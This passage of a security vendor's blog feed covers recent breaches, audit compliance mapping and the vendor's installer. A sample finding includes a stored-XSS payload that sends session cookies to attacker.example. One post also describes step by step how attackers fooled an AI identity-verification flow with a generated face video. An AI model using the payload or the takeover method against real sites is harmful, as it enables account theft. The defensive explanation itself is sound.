  participant HR as HR Data Store
  Probe-&gt;&gt;PS: baseline auth request
  PS--&gt;&gt;Probe: 200, session token A
  Probe-&gt;&gt;PS: crafted request, handshake step 2 omitted
  PS--&gt;&gt;Probe: 200, session token B (auth incomplete)
  Probe-&gt;&gt;PS: HR records request with token B
  PS-&gt;&gt;HR: fetch record
  HR--&gt;&gt;Probe: payroll record returned
  Probe-&gt;&gt;Probe: finding: auth bypass at /psp/ps/ endpoint
</code></pre>
<p>The finding names the endpoint, includes the crafted request sequence, and attaches the data returned. It does not say &quot;patch CVE-2026-35273.&quot; It says: Sekura retrieved a payroll record using an unauthenticated session token. Here is the HTTP exchange.</p>
<p>That is a proof, not a probability.</p>
<h2>The bigger pattern</h2>
<p>Enterprise HR platforms are internet-facing by design. Self-service payroll access requires it. Organisations accept that exposure and then rely entirely on the vendor&#39;s authentication to hold the line. When the vendor has an unpatched zero-day, there is no secondary control to fall back on.</p>
<p>ShinyHunters targets this category because data density is high. Payslips, bank account details, medical records, and CVs sit together in one structured system. A single authentication bypass produces everything needed for identity fraud at scale across thousands of individuals.</p>
<p>I think 2026 is the year when HR platform security gets the same continuous scrutiny that network perimeters started getting a decade ago. Vendor patch cadences and annual scan passes are not enough for systems this exposed and this dense. The attacks are pointing at the assumption.</p>
<p>If you want to see what proof-first dynamic probing looks like against your own internet-facing applications, <a href="https://sekura.ai/vs/scanners/">see how we compare to scanners</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>Audit Prep Arrives as a Byproduct</title>
    <link>https://sekura.ai/blog/compliance-as-byproduct/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/compliance-as-byproduct/</guid>
    <pubDate>Fri, 12 Jun 2026 08:00:00 +0000</pubDate>
    <description>Sekura maps every confirmed pentest finding to SOC 2, ISO 27001, PCI DSS, and 11 other frameworks automatically. Audit prep stops being an annual scramble and becomes a direct output of the security work you already do.</description>
    <content:encoded><![CDATA[<p>Audit prep should not be a separate project.</p>
<p>It is, for most teams. The typical sequence: six weeks before the audit window, someone exports scanner results, maps findings to controls by hand, writes justification narratives, and assembles an evidence spreadsheet. Then the cycle restarts next year.</p>
<p>We think this is a tooling problem, not a skills problem. Security testing and compliance tracking live in separate systems, so bridging them takes manual effort every time. The scan is not the bottleneck. The translation is.</p>
<h2>How Finding-to-Framework Mapping Works</h2>
<p>When Sekura confirms a finding with a working exploit, it tags that finding to every control it violates across the frameworks we support. The tags are deterministic. They derive from the exploit class, the affected asset type, and the control definition.</p>
<p>A stored XSS finding in a customer-facing application maps to controls in SOC 2, ISO 27001, and PCI DSS simultaneously. You do not build that list. We compute it at scan time.</p>
<p>Here is what that looks like in the SARIF output:</p>
<pre><code class="language-json">{
  &quot;ruleId&quot;: &quot;SEKURA-XSS-STORED-001&quot;,
  &quot;level&quot;: &quot;error&quot;,
  &quot;message&quot;: { &quot;text&quot;: &quot;Stored XSS via unsanitized input at /api/comments&quot; },
  &quot;properties&quot;: {
    &quot;proofOfExploit&quot;: &quot;POST /api/comments body=&lt;script&gt;fetch(&#39;https://attacker.example/?c=&#39;+document.cookie)&lt;/script&gt;&quot;,
    &quot;frameworkMappings&quot;: {
      &quot;SOC2&quot;:          [&quot;CC6.1&quot;, &quot;CC6.8&quot;],
      &quot;ISO27001-2022&quot;: [&quot;A.8.28&quot;, &quot;A.8.29&quot;],
      &quot;PCIDSS-v4&quot;:     [&quot;6.2.4&quot;, &quot;6.4.1&quot;],
      &quot;NIST-SP800-53&quot;: [&quot;SI-3&quot;,  &quot;SI-10&quot;]
    }
  }
}
</code></pre>
<p>We cover 14 frameworks. Every confirmed finding surfaces the controls it touches, across all relevant frameworks at once.</p>
<h2>What Disappears from Your Audit Prep</h2>
<p>I think the underrated benefit is not the mapping itself. It is the work the mapping eliminates.</p>
<p>With automatic tagging, these tasks drop off your audit checklist:</p>
<ol>
<li>Manual cross-referencing of findings against each framework&#39;s control list.</li>
<li>Writing narratives to explain why a finding is in scope for a given framework.</li>
<li>Hunting for evidence that a finding was remediated and when.</li>
<li>Reconciling output from tools that use incompatible severity language.</li>
<li>Defending gaps between what was tested and what the framework requires.</li>
</ol>
<p>The fifth item is where most audits slow down. Auditors ask whether specific control categories were tested. With Sekura, every scan covers the full seven-phase pipeline: white-box SAST, recon, dynamic probing, exploit synthesis, exploit-chain analysis, post-quantum cryptography review, and reporting. The coverage is not asserted in a policy document. It is documented in the scan output.</p>
<h2>Compliance Does Not Hold Still</h2>
<p>A clean pentest in Q1 does not mean clean controls in Q4. Compliance degrades as your software changes.</p>
<p>Sekura runs on every push in your GitHub Actions pipeline. The control-to-finding mapping stays current with your codebase. If a new deployment introduces a PCI DSS gap, you see it in the next CI run, not at the next annual test.</p>
<p>Here is how that continuous loop looks:</p>
<pre><code class="language-mermaid">flowchart TD
    A[Push to main] --&gt; B[Sekura scan runs in CI]
    B --&gt; C{Findings?}
    C -- None --&gt; D[Control status: passing]
    C -- Yes --&gt; E[Findings tagged to frameworks]
    E --&gt; F[Engineers remediate]
    F --&gt; A
    D --&gt; G[Audit evidence log updated]
    E --&gt; G
    G --&gt; H[Auditor requests evidence]
    H --&gt; I[Pull scan history by control and date]
</code></pre>
<p>The practical effect is that your compliance posture reflects the current state of your software, not the state it was in when someone last ran a manual test.</p>
<h2>At Audit Time</h2>
<p>The evidence package auditors typically request is already in your scan history.</p>
<p>For each framework, you get:</p>
<ol>
<li>Controls Sekura tested, with the test methodology recorded.</li>
<li>Findings per control, each with a working proof-of-exploit attached.</li>
<li>Remediation history: when a finding appeared, when it closed, and which scan confirmed the fix.</li>
<li>Controls with no findings, meaning they cleared the full test run.</li>
</ol>
<p>You can export this per framework from the Sekura dashboard or pull it through the API. There is no translation sprint. The auditor gets evidence tied to specific scan runs, not a manually assembled spreadsheet.</p>
<p>The deeper point is that security and compliance are not two separate programs. When a working exploit is the unit of evidence, the compliance record is a direct output of the security work. You stop maintaining two systems and start getting one as a byproduct of the other.</p>
<p>See how Sekura maps findings to your compliance requirements: <a href="https://sekura.ai/product/">/product/</a></p>
]]></content:encoded>
  </item>
  <item>
    <title>Evertec vendor platform breach exposed payment cards</title>
    <link>https://sekura.ai/blog/breach-evertec-2026-06/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/breach-evertec-2026-06/</guid>
    <pubDate>Thu, 11 Jun 2026 08:00:00 +0000</pubDate>
    <description>In May 2026, an attacker accessed a third-party support platform used by Evertec, a NYSE fintech, to reach debit card numbers and transaction records of Banco Popular de Puerto Rico customers.</description>
    <content:encoded><![CDATA[<p>Evertec, the NYSE-listed payment processor serving banks across Latin America and the Caribbean, confirmed on June 9 that an unauthorized party had accessed debit card numbers and transaction records belonging to Banco Popular de Puerto Rico customers via a third-party support platform.</p>
<p>Evertec discovered the intrusion on May 13, 2026, and notified its financial institution clients two days later. The company filed an SEC Form 8-K on June 9, with <a href="https://ca.investing.com/news/sec-filings/evertec-reports-cybersecurity-incident-affecting-financial-institution-clients-93CH-4681962">Investing.com reporting</a> that the unauthorized access originated from a third-party support platform used to service financial institution accounts, not from Evertec&#39;s core payment processing systems. The company stated the attacker no longer has access, that law enforcement was notified, and that no service disruption occurred.</p>
<p>Popular, Inc., parent of Banco Popular de Puerto Rico, filed a separate 8-K confirming it was notified on May 15 and has deployed enhanced fraud monitoring for affected customers. The full record count remains under investigation. The exposed data includes debit card numbers, transaction records, and in some cases customer names and contact details. That combination is sufficient to execute payment card fraud without any further access to Evertec&#39;s own systems.</p>
<p>Two things stand out from the reporting.</p>
<h2>What scanners would have missed</h2>
<p>This was not a code vulnerability. No SQL injection. No deserialization flaw. No CVE.</p>
<p>The attacker reached production payment data through an authorized support platform. That platform held a legitimate credential because support workflows require access to customer records. The authorization was intentional. The data was there by design.</p>
<p>Security scanning tools have no view of this. SAST scans Evertec&#39;s code. DAST probes Evertec&#39;s application endpoints. SCA checks open source dependencies. None of those tools ask: which external parties currently hold live credentials with access to PCI-scope data, under what conditions, and with what scope limits?</p>
<p>CVSS scores have no vector for &quot;authorized vendor with unconstrained data access.&quot; If every CVE in Evertec&#39;s codebase scored zero, this access path would remain open. A scanner reporting &quot;no critical findings&quot; would be technically accurate and practically useless.</p>
<p>The reachability question that matters here is not &quot;can an attacker reach this endpoint from the internet?&quot; It is &quot;which third parties currently hold production credentials that touch payment data, and what is the blast radius of each one?&quot; Scanners are not designed to answer that. They scan the code, not the access graph around it.</p>
<p>Support platform credentials are frequently granted with &quot;full access&quot; for a specific support engagement and never subsequently narrowed. The credential becomes ambient. The access becomes invisible to any tool that only reads source.</p>
<h2>What Sekura would have shown</h2>
<p>Phase 2 of Sekura&#39;s pipeline is recon. The recon agent maps the real attack surface: not just public endpoints, but the full graph of entities with privileged access to the target environment. That includes OAuth tokens issued to third-party platforms, API keys held by support tooling, and service accounts created for vendor integrations.</p>
<p>For a payment processor like Evertec, recon would produce findings like:</p>
<ol>
<li>Support platform holds a service account with read access to the production transaction database, including PAN-bearing columns.</li>
<li>The credential scope covers the full customer table, not a subset restricted to open ticket records.</li>
<li>No query-level audit log retention is attached to that service account.</li>
<li>The credential has not been rotated in over a year.</li>
</ol>
<p>I think none of those findings require code review. They require enumerating what is connected to the production environment and what each connection can read. For a fintech handling payment data, that means knowing which support tools hold a service account, what that account can query, and whether the access scope was ever narrowed from the initial grant.</p>
<p>Sekura&#39;s exploit-chain analysis phase would then trace what an attacker can do with that credential: pull card records at scale, correlate with transaction history, exfiltrate under traffic patterns indistinguishable from normal support queries. The proof is the data access path, not a code execution chain.</p>
<p>We would not have prevented this breach. We would have produced a finding showing the support platform held a credential capable of bulk-reading PCI-scope records, with a working proof of access.</p>
<h2>The bigger pattern</h2>
<p>Vendor access failures have become a structural breach pattern in 2025 and 2026. The scenario repeats: a third party with legitimate, authorized access to production data becomes the entry point. The victim&#39;s own code is clean. Their own endpoints are patched. Their own team is not compromised.</p>
<p>The attack surface extended to a vendor. The security testing did not.</p>
<p>Most organizations can name their top critical CVEs. Fewer can enumerate every external party currently holding a live credential with access to sensitive production data. Fewer still can answer: what can that credential read, in bulk, right now?</p>
<p>The gap between those two questions is where breaches like this one happen. Vendor ecosystems are growing, and the access grants they accumulate rarely shrink on their own. The Evertec incident is a visible data point in a pattern that is not new but is not improving either.</p>
<p>If you want to map the full graph of what can reach your production data, <a href="https://sekura.ai/vs/scanners/">see how Sekura differs from conventional scanners</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>What npx sekura init actually does</title>
    <link>https://sekura.ai/blog/npx-sekura-init-deepdive/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/npx-sekura-init-deepdive/</guid>
    <pubDate>Fri, 05 Jun 2026 08:00:00 +0000</pubDate>
    <description>A step by step look at what runs when you invoke npx sekura@latest init: registry fetch, signature check, IDE detection, OAuth, keychain storage, and GitHub Actions wiring.</description>
    <content:encoded><![CDATA[<p>Running a command from npm is an act of trust. Here is exactly what that trust buys you.</p>
<h2>Before your shell prompt returns</h2>
<p>The <code>npx</code> runtime downloads <code>sekura@latest</code> from the npm registry over TLS 1.3. That is table stakes for any package. What comes next is not.</p>
<p>We ship a detached ed25519 signature alongside the package tarball. The installer checks it before executing a single line of application code. The public key is pinned in the binary. There is no network call to fetch it. If the signature check fails, the installer exits with a non-zero code and prints the expected versus received fingerprint so you can audit it yourself.</p>
<pre><code class="language-bash">$ npx sekura@latest init

Fetching sekura@0.9.1 from registry.npmjs.org...
Verifying package signature... ok (ed25519/sha-256)
Detecting IDE environment...
</code></pre>
<p>I think this step matters more than it sounds. Supply-chain attacks target exactly this moment. A compromised package that skips its own verification is invisible to your terminal.</p>
<h2>IDE detection and MCP registration</h2>
<p>The installer scans for active development environments in a fixed order. It checks running processes, config directories, and environment variables set by each IDE&#39;s native extension host.</p>
<p>The detection order is:</p>
<ol>
<li>Claude Code: checks for <code>CLAUDE_CODE_ENTRYPOINT</code> in the environment and <code>~/.claude/</code> on disk.</li>
<li>Cursor: looks for <code>cursor</code> in the running process list and <code>~/.cursor/extensions/</code>.</li>
<li>VS Code: checks <code>VSCODE_PID</code> and <code>~/.vscode/extensions/</code>.</li>
<li>Windsurf: checks for <code>windsurf</code> in the process list and <code>~/.windsurf/</code>.</li>
</ol>
<p>If multiple IDEs are detected, you are prompted to pick one. If none are detected, the installer writes a generic MCP config to <code>~/.config/sekura/mcp.json</code> and prints the path.</p>
<p>The MCP server registration tells your IDE where to route Sekura tool calls. After init completes, your IDE can ask Sekura to describe a finding, show a proof-of-exploit, or re-run a specific scan phase without leaving the editor.</p>
<h2>OAuth and keychain storage</h2>
<p>Init opens a browser tab to <code>https://app.sekura.ai/oauth/authorize</code>. You authenticate with GitHub. We issue a short-lived JWT and a longer-lived refresh token.</p>
<p>The tokens are stored in your system keychain, not in a dotfile.</p>
<pre><code class="language-text">macOS:   Keychain Access (service name: &quot;sekura-ai&quot;)
Linux:   libsecret / GNOME Keyring or KWallet
Windows: Windows Credential Manager
</code></pre>
<p>We never write tokens to disk in plaintext. The keychain API handles decryption in memory. If you revoke access from <code>app.sekura.ai/settings/tokens</code>, the refresh token is invalidated server-side and the next credential read returns an authentication error locally.</p>
<blockquote>
<p>The installer does not ask for your GitHub token. It asks GitHub to authenticate you via OAuth, and GitHub tells us who you are. We never see your GitHub credentials.</p>
</blockquote>
<h2>Workflow commit and scan dispatch</h2>
<p>The last step wires up continuous scanning. Init commits a GitHub Actions workflow file to your repository and sets one repository secret.</p>
<pre><code class="language-mermaid">sequenceDiagram
    participant Dev as You
    participant CLI as npx sekura init
    participant GH as GitHub
    participant Runner as Actions Runner
    participant Sekura as Sekura Platform

    Dev-&gt;&gt;CLI: npx sekura@latest init
    CLI-&gt;&gt;GH: OAuth (browser redirect)
    GH--&gt;&gt;CLI: access token
    CLI-&gt;&gt;GH: commit .github/workflows/sekura.yml
    CLI-&gt;&gt;GH: set repository secret SEKURA_TOKEN
    Dev-&gt;&gt;GH: git push (feature branch)
    GH-&gt;&gt;Runner: trigger sekura.yml
    Runner-&gt;&gt;Sekura: dispatch scan (repo + commit SHA)
    Sekura--&gt;&gt;GH: SARIF upload + PR annotations
    GH--&gt;&gt;Dev: review comments with proof-of-exploit
</code></pre>
<p>The committed workflow file is short. Two jobs: one that runs on every pull request, one that runs on pushes to <code>main</code>.</p>
<pre><code class="language-yaml">name: Sekura Security Scan

on:
  pull_request:
  push:
    branches: [main]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - uses: sekura/scan-action@v1
        with:
          token: ${{ secrets.SEKURA_TOKEN }}
</code></pre>
<p>The <code>fetch-depth: 0</code> is not boilerplate. We need the full commit history for white-box SAST. A shallow clone produces false negatives because our SAST phase traces data flows across commit boundaries.</p>
<p>The scan action dispatches to the Sekura platform. From there, the seven-phase pipeline runs: white-box SAST, recon, dynamic probing, exploit synthesis, exploit-chain analysis, post-quantum cryptography review, and reporting. Each phase runs as a specialized agent. Results arrive as SARIF uploaded to GitHub&#39;s code scanning UI, and as inline review comments on the pull request with working proofs-of-exploit attached.</p>
<h2>After init</h2>
<p>Most security tools require ongoing configuration. New environment variable here. Updated YAML key there. Another credential rotation next quarter.</p>
<p>I believe the better path is a single setup step that handles its own maintenance. Init stores credentials in the keychain so they survive reboots. The workflow file pins the action to a major version so you get patches without thinking about them. The MCP registration stays current because the server version is negotiated at connection time, not hardcoded.</p>
<p>Security tooling that requires constant attention does not get that attention. The teams that ship secure software are the ones who made security automatic, not the ones who made it thorough.</p>
<p>See the full scan pipeline at <a href="https://sekura.ai/product/">/product/</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>Instagram account-takeovers expose an AI verification gap</title>
    <link>https://sekura.ai/blog/breach-instagram-2026-06/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/breach-instagram-2026-06/</guid>
    <pubDate>Thu, 04 Jun 2026 08:00:00 +0000</pubDate>
    <description>Attackers fed Meta's AI support flow an AI-generated face video built from a target's own profile photos, passed identity verification, swapped the email, and reset the password. No CVE. No backend breach. High-profile Instagram accounts gone.</description>
    <content:encoded><![CDATA[<p>A wave of Instagram account takeovers this week worked by feeding Meta&#39;s own AI support flow a fake selfie that the AI could not tell apart from a real one.</p>
<p>The technique was simple. An attacker opens the Forgot Password flow and claims the account is hacked. They turn on a VPN to match the target&#39;s region, which Instagram now surfaces in the account&#39;s About section. Meta&#39;s AI support flow then asks the requester to verify identity with a selfie. The attacker pulls a photo from the target&#39;s public profile, runs it through an AI video generator to produce a short animation of that person&#39;s face moving, and uploads the clip. The AI accepts it as a live selfie. From there the attacker swaps the recovery email to one they control, triggers a password reset, and receives the reset link. Two-factor protections fell away in the process.</p>
<p><a href="https://www.404media.co/hackers-simply-asked-meta-ai-to-give-them-access-to-high-profile-instagram-accounts-it-worked/">404 Media reported</a> that the targets were not new or weakly protected accounts. They were verified, locked-down, high-value handles. <a href="https://gizmodo.com/hackers-tricked-meta-ai-into-handing-out-access-to-major-instagram-accounts-2000766087">Gizmodo noted</a> that the Obama-era White House handle and the account of the US Space Force chief master sergeant were among those hit, and that rare usernames worth a combined seven figures were flipped through private Telegram channels. Meta confirmed no server systems were compromised and said the issue is now fixed. The flaw lived entirely inside the AI verification decision, not in any backend.</p>
<p>Two things are worth pulling out of the reporting.</p>
<h2>What scanners would have missed</h2>
<p>This attack produced no CVE. There was no injectable field, no memory corruption, no unpatched library. Every request the attacker made was a well-formed, expected call to a flow built to accept exactly those inputs. The defect was in what the AI decided to trust, not in any line of exploitable code.</p>
<p>A SAST tool reads source. It can flag a missing auth check or a tainted input path. It cannot tell you that a vision model will accept a generated face animation as proof of a live human. That is a property of the model&#39;s judgment under adversarial input, not a property of the surrounding code.</p>
<p>A DAST tool probes endpoints for injection and misconfiguration. Point it at the account recovery flow and it sees a verification step returning a pass or fail. It has no concept of whether the artifact that earned the pass was a real person or a generated clip. The endpoint behaves correctly by its own contract. The contract is the problem.</p>
<p>SCA checks dependencies for known issues. No dependency was at fault.</p>
<p>CVSS has no field for this. There is no vulnerability to score because the system did what it was designed to do. It evaluated a selfie and made a trust decision. The failure was that the decision boundary could be crossed by a free AI video generator and a public photo. A scanner that ranks everything by CVE will never surface a recovery flow that hands over an account to anyone holding a generated face.</p>
<h2>What Sekura would have shown</h2>
<p>Phase 3 of Sekura&#39;s pipeline is dynamic probing, and phase 5 is exploit-chain analysis. Together they target exactly this class of flaw: a sequence of individually valid steps that compose into account takeover.</p>
<p>A dynamic probing agent exercises the account recovery flow as an attacker would, including the AI verification step, using a generated face artifact derived from public profile data. The exploit-chain agent then links the steps that each looked benign on their own.</p>
<p>The specific finding Sekura would have produced: the identity verification step in account recovery accepts a synthetic face video as a live selfie, and that single pass is sufficient to change the recovery email and reset the password without a second human-reviewed control.</p>
<p>The finding would contain these items:</p>
<ol>
<li>Entry point: Forgot Password flow, region matched via VPN using public About-section data.</li>
<li>Verification bypass: AI-generated face animation built from a public profile photo accepted as a live selfie.</li>
<li>Account change: recovery email swapped to an attacker-controlled address.</li>
<li>Takeover: password reset link delivered to the new email, existing two-factor effectively bypassed.</li>
<li>Blast radius: any account whose username and one public photo are known to the attacker.</li>
</ol>
<pre><code class="language-mermaid">sequenceDiagram
  participant Attacker
  participant Recovery as Account Recovery
  participant AI as AI Verification
  participant Account
  Attacker-&gt;&gt;Recovery: Forgot Password, region matched via VPN
  Recovery-&gt;&gt;AI: request live selfie
  Attacker-&gt;&gt;AI: AI-generated face video from public photo
  AI--&gt;&gt;Recovery: verification passed
  Attacker-&gt;&gt;Account: swap recovery email, reset password
  Account--&gt;&gt;Attacker: full takeover
</code></pre>
<p>We would attach the working chain as the proof artifact. A severity label does not tell you that a public photo and a free video tool reach a verified account. A reproduced takeover does.</p>
<h2>The bigger pattern</h2>
<p>This is an authentication bypass, but the bypassed control was a model, not a password. One AI generated the evidence and another AI accepted it, with no person positioned to catch the mismatch.</p>
<p>That is the signal worth holding onto in 2026. As companies move trust decisions into automated AI flows to cut support cost, the decision boundary itself becomes the attack surface. The question is no longer only whether your code is sound. It is whether your model can be convinced by inputs that another model can manufacture on demand.</p>
<p>Trust decisions made by AI need to be tested the way attackers will test them, before attackers do. If you want to see what proof-first looks like on your own attack surface, <a href="https://sekura.ai/product/">book a POC</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>7-Eleven franchise records exposed via Salesforce misconfiguration</title>
    <link>https://sekura.ai/blog/breach-7-eleven-2026-06/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/breach-7-eleven-2026-06/</guid>
    <pubDate>Wed, 03 Jun 2026 08:00:00 +0000</pubDate>
    <description>ShinyHunters queried 7-Eleven's unauthenticated Salesforce Experience Cloud portal to steal 185,000 franchise applicants' records, including Social Security numbers and driver's license data.</description>
    <content:encoded><![CDATA[<p>ShinyHunters extracted records for 185,000 franchise applicants from 7-Eleven&#39;s Salesforce portal by querying it without credentials.</p>
<p>7-Eleven notified state regulators in Maine, Vermont, and Massachusetts on May 15 and 16, 2026 that attackers had accessed its franchise application system on April 8. The stolen data included names, physical addresses, Social Security numbers, driver&#39;s licenses, dates of birth, and phone numbers. ShinyHunters demanded a ransom. When 7-Eleven declined, the group published a 9.4-gigabyte archive of the stolen files.</p>
<p>The vector was not a code flaw. <a href="https://www.bleepingcomputer.com/news/security/shinyhunters-claims-ongoing-salesforce-aura-data-theft-attacks/">BleepingComputer reported</a> that ShinyHunters used a modified version of AuraInspector, an open-source tool originally built by Mandiant for auditing Salesforce Aura components, to scan publicly accessible Experience Cloud deployments for misconfigured guest user profiles. When a guest user profile carries excessive object-level permissions, any HTTP client can query the Aura endpoint and receive CRM records. No credentials, no CVE, no exploit code.</p>
<p>By March 2026, ShinyHunters told reporters they had breached between 300 and 400 organizations using this technique, with roughly 100 described as high-profile. 7-Eleven is the most publicly recognized victim confirmed to date. Two things are worth pulling out of the reporting.</p>
<h2>What scanners would have missed</h2>
<p>The franchise application portal lives on a <code>*.force.com</code> subdomain hosted on Salesforce&#39;s infrastructure. That is a separate domain from 7-eleven.com. Pentest scope is typically defined by what the customer registers: the main domain, an API subdomain, a staging environment. A Salesforce Experience Cloud portal running on a <code>*.force.com</code> hostname rarely appears on that list.</p>
<p>But suppose it did. Here is what traditional tooling would return:</p>
<ol>
<li>SAST analyzes source code. Salesforce org configuration is not source code. A guest user profile permission setting lives in Salesforce metadata, not in a repository.</li>
<li>DAST probes for known vulnerability patterns: reflected XSS, SQL injection, SSRF, CVE signatures. It has no model for &quot;this endpoint returns CRM records to anonymous callers.&quot; The tool reports nothing.</li>
<li>SCA scans third-party dependencies. There are no dependencies involved here.</li>
<li>CVSS does not apply. There is no CVE. Any severity dashboard that ranks findings by CVSS score returns a blank row for this failure mode.</li>
</ol>
<p>The issue is a coverage gap, not a missed finding. Traditional tooling is built to test code artifacts and network-accessible services against known signatures. A Salesforce permission profile is neither. It lives outside the scan perimeter and accumulates drift without triggering any CI/CD hook or scheduled scan.</p>
<h2>What Sekura would have shown</h2>
<p>Phase 2 (Recon) and Phase 3 (Dynamic Probing) would have surfaced this finding together.</p>
<p>The Recon agent starts from the registered domain and enumerates external assets. Certificate transparency logs expose subdomains that organizations operate but do not always document internally. A <code>*.force.com</code> entry associated with 7-Eleven appears in those logs. The agent classifies it as a Salesforce Experience Cloud deployment and passes it to the probing queue with a flag for guest user permission testing.</p>
<p>The Dynamic Probing agent then sends a sequence of unauthenticated requests to the Aura API endpoint on that subdomain.</p>
<pre><code class="language-mermaid">sequenceDiagram
  participant R as Recon Agent
  participant D as Dynamic Probing Agent
  participant CT as Cert Transparency Logs
  participant Portal as franchise.7eleven.force.com
  R-&gt;&gt;CT: enumerate subdomains for 7-eleven.com
  CT--&gt;&gt;R: franchise.7eleven.force.com (Experience Cloud)
  R-&gt;&gt;D: probe target, flag: Salesforce guest user check
  D-&gt;&gt;Portal: GET / (extract aura.context token)
  Portal--&gt;&gt;D: context token, component list
  D-&gt;&gt;Portal: POST /aura (query Contact objects, unauthenticated)
  Portal--&gt;&gt;D: 200 OK, Contact records with PII fields returned
  D-&gt;&gt;D: emit finding: unauthenticated PII access confirmed
</code></pre>
<p>The finding would state: the guest user profile on the franchise application portal returns Contact records including personal identifiers. No authentication is required. The proof is the response body from the query above.</p>
<p>We would not say the portal is probably misconfigured. We would show it is. That is the distinction proof-first makes.</p>
<h2>The bigger pattern</h2>
<p>This is a SaaS misconfiguration breach, not a software vulnerability. The pattern is predictable: an administrator set a permission profile when the franchise portal went live, possibly for a legitimate testing or support workflow. Over time the scope of that permission was never reviewed. The configuration drifted from intention.</p>
<p>I think this class of failure is underrepresented in most security programs. Organizations invest in SAST, DAST, and SCA for their own code. SaaS configuration surfaces get almost no continuous coverage. There are no tools watching Salesforce org settings the way a SAST scanner watches a repository on every commit.</p>
<p>ShinyHunters turned this gap into a systematic campaign. They ran AuraInspector across hundreds of organizations and found that many carried the same unchecked configuration. The technique requires no novel exploit. It requires only that a guest user profile is misconfigured and nobody has checked.</p>
<p>That pattern will not resolve on its own.</p>
<p>If you want to see what we would surface on your external attack surface, <a href="https://sekura.ai/poc/">book a POC</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>The math on pentest cost per finding</title>
    <link>https://sekura.ai/blog/continuous-vs-annual-pentest/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/continuous-vs-annual-pentest/</guid>
    <pubDate>Fri, 29 May 2026 08:00:00 +0000</pubDate>
    <description>Annual pentests cost $30k to $150k per engagement and run once a year. Continuous coverage changes the math. A spreadsheet-grade comparison of cost per verified finding.</description>
    <content:encoded><![CDATA[<p>Annual penetration tests are expensive and, by design, stop.</p>
<h2>What an annual pentest actually costs</h2>
<p>A typical engagement runs $30,000 to $150,000. That buys you two to four weeks of consultant time. The deliverable is a report.</p>
<p>That report ages immediately. The day the engagement ends, your team starts shipping code. New endpoints appear. Configurations change. Dependencies update.</p>
<p>By month three, the findings in the report describe a codebase you no longer have.</p>
<p>Here is what you are actually buying:</p>
<ol>
<li>A snapshot of one attack surface at one point in time.</li>
<li>A PDF that answers questions from last quarter.</li>
<li>A compliance checkbox that expires in twelve months.</li>
<li>Remediation guidance that may not match your current architecture.</li>
<li>A repeat purchase next year to start over.</li>
</ol>
<p>The cost per finding looks reasonable until you account for time.</p>
<h2>The cost-per-finding math</h2>
<p>Let us make this concrete. A $60,000 engagement that surfaces 20 valid vulnerabilities costs $3,000 per finding. That sounds acceptable.</p>
<p>But the finding is already stale when you read it. If your team takes four weeks to remediate, and the consultant found it in week one of the engagement, that vulnerability sat open for five weeks during the window, plus the months since your previous engagement.</p>
<p>The real cost is not dollars per finding. It is dollar-weeks of exposure per finding.</p>
<p>Continuous coverage changes both variables.</p>
<p>A continuous approach surfaces findings within hours of a code change. Remediation happens in the same sprint the vulnerability was introduced. The exposure window collapses from months to days.</p>
<p>I think that is the metric security buyers should be quoting to finance: not cost per report, but cost per verified finding per week of exposure.</p>
<h2>A side-by-side comparison</h2>
<p>Here is how the two models compare across the variables that matter to a CFO:</p>
<table>
<thead>
<tr>
<th>Variable</th>
<th>Annual engagement</th>
<th>Continuous</th>
</tr>
</thead>
<tbody><tr>
<td>Cost</td>
<td>$30k to $150k per engagement</td>
<td>Monthly or per-scan pricing</td>
</tr>
<tr>
<td>Coverage window</td>
<td>2 to 4 weeks per year</td>
<td>Every commit</td>
</tr>
<tr>
<td>Findings freshness</td>
<td>Stale by day 30</td>
<td>Current</td>
</tr>
<tr>
<td>Proof of exploit</td>
<td>Varies by firm</td>
<td>Required (Sekura reports nothing without a working exploit)</td>
</tr>
<tr>
<td>False positive rate</td>
<td>10 to 40 percent (manual triage varies)</td>
<td>Near zero</td>
</tr>
<tr>
<td>Compliance</td>
<td>Point-in-time pass or fail</td>
<td>Continuous evidence</td>
</tr>
<tr>
<td>Ramp-up cost</td>
<td>1 to 2 weeks scoping per engagement</td>
<td>One-time setup</td>
</tr>
</tbody></table>
<p>The annual model makes sense for compliance checkboxes with a specific date requirement. SOC 2 auditors want a report. That report needs a date. An annual engagement produces one.</p>
<p>But compliance is not the same thing as security.</p>
<h2>What changes when coverage is continuous</h2>
<p>Three things shift when you stop treating pentests as events:</p>
<ol>
<li>Developers get feedback in the same sprint they introduced the issue. The context is fresh. The fix is faster.</li>
<li>Finance can model security spend as a predictable monthly line item rather than a lumpy capital expense.</li>
<li>The attack surface being tested is the one that exists right now, not the one that existed during last quarter&#39;s engagement.</li>
</ol>
<p>I believe the annual pentest model persists not because it is the right answer, but because it is the familiar one. Buyers know how to evaluate a proposal from a consulting firm. The vendor selection process is legible. The invoice is predictable.</p>
<p>Continuous coverage requires a different mental model. The security team is no longer buying time from consultants. It is buying infrastructure.</p>
<p>That is a better trade. Infrastructure compounds. Time does not.</p>
<p>The flow below shows how Sekura handles the decision at scan time. No proof synthesized means no finding reported, which means no triage burden on your team.</p>
<pre><code class="language-mermaid">flowchart TD
    A[Code change pushed] --&gt; B[Scan triggered across 7 phases]
    B --&gt; C{Exploit synthesized?}
    C --&gt;|Yes| D[Finding reported with deterministic proof]
    C --&gt;|No| E[Hypothesis discarded silently]
    D --&gt; F[Developer fixes in same sprint]
    E --&gt; G[No alert, no noise, no triage cost]
    F --&gt; H[Verified remediation on next scan]
</code></pre>
<h2>Choosing the right model</h2>
<p>Annual engagements are not obsolete. Some use cases still warrant them.</p>
<p>If you need a human to attest to a specific scope for a specific compliance framework, a consulting firm is the right answer. PCI-DSS Qualified Security Assessors have specific credentialing requirements that autonomous tooling does not satisfy today.</p>
<p>If you are building a security program from scratch with no baseline, a single engagement can orient your team before you layer in continuous tooling.</p>
<p>The mistake is treating annual engagements as a substitute for continuous coverage rather than a complement. One snapshot per year is not a security posture. It is a compliance document.</p>
